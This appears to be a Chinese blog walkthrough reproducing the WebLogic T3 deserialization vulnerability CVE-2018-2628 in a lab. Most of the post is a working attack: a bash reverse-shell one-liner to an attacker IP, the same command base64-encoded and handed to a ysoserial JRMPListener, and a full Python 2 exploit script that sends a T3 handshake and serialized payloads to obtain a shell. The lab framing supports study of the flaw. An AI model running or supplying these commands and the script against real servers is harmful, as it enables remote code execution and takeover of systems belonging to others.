首页 > 其他分享 >Weblogic T3协议反序列化漏洞[CVE-2018-2628]

Weblogic T3协议反序列化漏洞[CVE-2018-2628]

时间:2024-05-27 20:00:58浏览次数:27  
标签:CVE addr 2628 sock server Weblogic 序列化 dip payload

漏洞复现环境搭建请参考

http://t.csdnimg.cn/TYtKg

kali切换jdk版本请参考

Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客

漏洞原理

T3协议实现Weblogic server和其他java程序间的数据传输,Weblogic开放7001端口则默认开启T3服务,通过构造恶意的T3协议数据,利用Weblogic server缺陷,连接JMRP server实现反弹shell,从而实现任意代码执行

漏洞版本

Oracle Weblogic Server10.3.6.0.0

Oracle Weblogic Server12.1.3.0.0

Oracle Weblogic Server12.2.1.2.0

Oracle Weblogic Server12.2.1.3.0

漏洞验证

(1)访问web站点,Weblogic经典页面

(2)Weblogicscan进行扫描,进行CVE-2018-2628复现操作

(3)或者使用nmap进行扫描目标是否开启T3协议服务

nmap -n -v -p 7001 192.168.88.128 --script=weblogic-t3-info

漏洞利用

(1)ysoserial反序列化漏洞利用工具获取

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

(2)开启JMRP 服务(如果启动JMRP服务报错,说明kali的jdk版本过高)

#反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.88.128/8888 0>&1'

#将反弹shell命令进行base64加密
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC84ODg4IDA+JjEn

#启动JMRP服务,6666是JMRP服务的端口号
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6666 Jdk7u21 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC84ODg4IDA+JjEn}|{base64,-d}|{bash,-i}'

(3)生成使得Weblogic server连接JMRP服务的payload

#此处的IP和端口为JMRP服务的IP和端口
java -jar ysoserial-all.jar JRMPClient 192.168.88.128:6666 | xxd -p | tr -d $'\n' && echo

(4)创建weblogic_poc.py脚本,添加以下内容

#!env python
#coding=utf-8
# 
# Created Time: Wed 19 Jul 2017 01:47:53 AM CST
# 
# FileName:     weblogic_poc.py
# 
# Description:  
# 
# ChangeLog: thanks iswin for the template
# -*- coding: utf-8 -*-
import socket
import time
import re


VUL=['CVE-2018-2628']
#remote ip changed to :127.0.0.1
#PAYLOAD=['ACED0005737D00000001001D6A6176612E726D692E61637469766174696F6E2E416374697661746F72787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707729000A556E69636173745265660000000005A2000000005649E3FD00000000000000000000000000000078']
#remote ip:192.168.10.50
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707736000a556e6963617374526566000d3139322e3136382e31302e353000005911000000003bd3f9f200000000000000000000000000000078']

VER_SIG=['\\$Proxy[0-9]+']

def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print 'handshake successful'

def buildT3RequestObject(sock,port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))


def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception as e:
        pass
    return res

def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
    else:
        print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])


def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
    sock.settimeout(15)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(sock,dport)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    print 'rs',rs
    checkVul(rs,server_addr,index)


if __name__=="__main__":
    #dip = '218.1.102.99'
    #dip = '10.65.46.125'
    #dip = '192.168.3.216'
	dip = '192.168.10.129'
	dport = 7001
	run(dip,7001,0)
#    for i in range(0,len(VUL)):
#        run(dip,dport,i)

(5)将脚本中的PAYLOAD替换成第3步生成的payload,并且修改IP地址

(6)攻击机开启监听

(7)执行Weblogic_poc.py脚本,成功getshell

python2 weblogic_poc.py

标签:CVE,addr,2628,sock,server,Weblogic,序列化,dip,payload
From: https://blog.csdn.net/W13680336969/article/details/139232100

相关文章

  • C# xml文档反序列化记事
    可以使用XmlSerializer直接序列化和反序列化xml反序列化如以下代码privateT?XmlDeseriallize<T>(stringfilePath){XmlSerializerserializer=newXmlSerializer(typeof(T));using(FileStreamfileStream=newFileStream(f......
  • git clone 远程代码执行漏洞(CVE-2024-32002) 升级
    接到提醒说git有个漏洞,Gitclone远程代码执行漏洞(CVE-2024-32002)看了看,说是git的Symlinks模块存在高危漏洞,攻击者可以利用该漏洞执行任意代码,导致服务器失陷。以下这些版本都有影响0<git<2.39.42.40.0≤git<2.40.22.41.0≤git<2.41.12.42.0≤git<2.42.......
  • Nexus Repository Manager 3 未授权目录穿越漏洞(CVE-2024-4956)
    https://github.com/vulhub/vulhub/blob/master/nexus/CVE-2024-4956/README.zh-cn.mdhttps://ares-x.com/2020/04/20/IDEA远程调试Docker中程序的方法/https://t.zsxq.com/MDrfR漏洞类型:未授权任意文件读取(路径穿越)POCGET/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F.......
  • Nexus未授权目录穿越漏洞(CVE-2024-4956)
    漏洞描述该漏洞允许远程攻击者通过构造特制的HTTP请求,在未经身份验证的情况下访问系统文件,该漏洞由于应用程序在处理文件路径输入时没有进行严格的验证和过滤,导致攻击者可以通过特定的目录穿越字符序列访问到应用程序根目录之外的文件fofaapp="Nexus-Repository-Manager"POCG......
  • 关于对于Java中Entity以及VO,以及DTO中Request对象序列化的学习
    关于Serializable的探讨前提引入是由于软件测试上有同学提到说,什么该字段在程序刚运行时,导致jvm激增,所以吸引了我的注意回顾代码MybatisPlusGenerator自动生成的entity中就经常带有这个,而且我在开发代码的时候VO,以及DTO常常是直接复制对应的entity,所以也保不齐我对应......
  • Gradio存在任意文件读取漏洞(CVE-2024-1561)
    漏洞描述该漏洞是Gradio应用中的一个高危漏洞,其出现在'component_server'端点,允许攻击者调用'Component'类的任意方法,并利用'Block'类的'move_resource_to_block_cache()'方法在文件系统上复制任意文件到临时目录,随后可将其检索。这是的攻击者能够在未经授权的情况下读取本地文件......
  • @JsonFormat注解出现日期序列化以及反序列化问题(日期比实际日期少一天)
    文章目录前言一、场景如下所示二、问题分析三、@JsonFormat注解是什么以下是@JsonFormat注解的一些常用属性:四、解决问题解决方式:只需要指定对应的时区就好效果如下:五、@JsonFormat注解时出现日期问题总结前言  在一次的偶然机会下发现了一个小问题,场景是这......
  • Golang 序列化与反序列化,包含字段首字母小写和字段时间格式化
     golang结构体json的时间 序列化与反序列化 格式化解决方案 //最近开发项目时候发现一个结构体的Json转换的时间格式问题。//即这种1993-01-01T20:08:23.000000028+08:00这种表示UTC方法。//从我们习惯来说,更喜欢希望的是1993-01-0120:08:23这种格式如......
  • 春秋CVE-2022-23906
    简介CMSMadeSimplev2.2.15被发现包含通过上传图片功能的远程命令执行(RCE)漏洞。此漏洞通过精心制作的图像文件被利用。正文1.进入靶场2.进入登录界面,弱口令admin/1234563.进入后台,文件上传点4.上传一句话木马图片5.复制图片,后缀改为php6.蚁剑连接7.得到flag......
  • CVE-2020-11981
    ApacheAirflowCelery消息中间件命令执行(CVE-2020-11981)ApacheAirflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。漏洞环境依次执行如下命令启动airflow1.1......